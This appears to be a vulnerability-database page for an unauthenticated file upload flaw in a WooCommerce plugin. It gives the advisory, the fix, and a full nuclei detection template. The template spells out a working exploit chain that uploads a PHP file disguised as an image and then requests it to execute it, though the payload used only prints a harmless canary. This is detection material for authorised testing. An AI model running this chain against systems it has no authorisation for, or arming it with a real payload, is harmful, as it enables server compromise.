HexBrain

Browse / CVEs / CVE-2026-19089

CVE-2026-19089· tychesoftwares / product-input-fields-for-woocommerce· CWE-434

Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE

criticalseverity
9.8CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

WooCommerce WordPress plugin < 2.0.2 contains an unrestricted file upload vulnerability caused by lack of validation on uploaded file types when accepted-types setting is empty, letting unauthenticated attackers upload arbitrary files and achieve remote code execution on servers ignoring directory access rules, exploit requires no authentication.

Impact

Unauthenticated attackers can upload arbitrary files and execute code remotely, potentially leading to full server compromise.

Fix

Update to version 2.0.2 or later.

How to confirm it

Send: GET /shop/ ; GET {{product_path}} ; POST {{product_path}} ; GET /wp-json/wc/store/v1/cart ; POST /wp-json/wc/store/v1/checkout
Positive when: contains "PIF_CANARY_527_PHP" AND status 200

Run it with nuclei: nuclei -id CVE-2026-19089 -u <target>

The full check
id: CVE-2026-19089

info:
  name: Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE
  author: Het Kalariya
  severity: critical
  description: |
    WooCommerce WordPress plugin < 2.0.2 contains an unrestricted file upload vulnerability caused by lack of validation on uploaded file types when accepted-types setting is empty, letting unauthenticated attackers upload arbitrary files and achieve remote code execution on servers ignoring directory access rules, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can upload arbitrary files and execute code remotely, potentially leading to full server compromise.
  remediation: |
    Update to version 2.0.2 or later.
  reference:
    - https://wpscan.com/vulnerability/c5728a31-de92-40df-ab19-aec4db84ba21/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19089
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19089
    epss-score: 0.03232
    epss-percentile: 0.88369
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 7
    vendor: tychesoftwares
    product: product-input-fields-for-woocommerce
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,woocommerce,product-input-fields-for-woocommerce,fileupload,rce,intrusive

variables:
  shopper_email: "[email protected]"
  first_name: "Aev"
  last_name: "Canary"

http:
  - raw:
      - |
        GET /shop/ HTTP/1.1
        Host: {{Hostname}}

      - |
        GET {{product_path}} HTTP/1.1
        Host: {{Hostname}}

      - |
        POST {{product_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----pifcanary

        ------pifcanary
        Content-Disposition: form-data; name="add-to-cart"

        {{product_id}}
        ------pifcanary
        Content-Disposition: form-data; name="quantity"

        1
        ------pifcanary
        Content-Disposition: form-data; name="{{field_name}}"; filename="up.php"
        Content-Type: image/jpeg

        <?php echo "PIF_CANARY_" . (17 * 31) . "_PHP" . PHP_MAJOR_VERSION . "_OK"; ?>
        ------pifcanary--

      - |
        GET /wp-json/wc/store/v1/cart HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-json/wc/store/v1/checkout HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Nonce: {{nonce}}

        {"billing_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","email":"{{shopper_email}}","phone":"1234567"},"shipping_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","phone":"1234567"},"payment_method":"cod"}

      - |
        GET /wp-json/wc/store/v1/order/{{order_id}}?key={{order_key}}&billing_email={{shopper_email}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-content/uploads/woocommerce_uploads/alg_uploads/product_input_fields/{{item_id}}_up.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: product_path
        part: body
        internal: true
        regex:
          - 'href="https?://[^/"]*(/product/[A-Za-z0-9\-_]+/?)"'
        group: 1
      - type: regex
        name: product_id
        part: body
        internal: true
        regex:
          - 'name="add-to-cart"\s+value="(\d+)"'
        group: 1
      - type: regex
        name: field_name
        part: body
        internal: true
        regex:
          - '"fieldName":"(alg_wc_pif_global_\d+)","type":"file"'
          - 'type="file"[^>]{0,600}?name="(alg_wc_pif_global_\d+)"'
          - 'name="(alg_wc_pif_global_\d+)"[^>]{0,600}?type="file"'
        group: 1
      - type: regex
        name: nonce
        part: header
        internal: true
        regex:
          - '(?m)^Nonce:\s*(\S+)'
        group: 1
      - type: regex
        name: order_id
        part: body
        internal: true
        regex:
          - '"order_id":\s*(\d+)'
        group: 1
      - type: regex
        name: order_key
        part: body
        internal: true
        regex:
          - '"order_key":\s*"([^"]+)"'
        group: 1
      - type: regex
        name: item_id
        part: body
        internal: true
        regex:
          - '"items"\s*:\s*\[\s*\{[^}]{0,500}?"id":\s*(\d+)'
        group: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PIF_CANARY_527_PHP"
      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from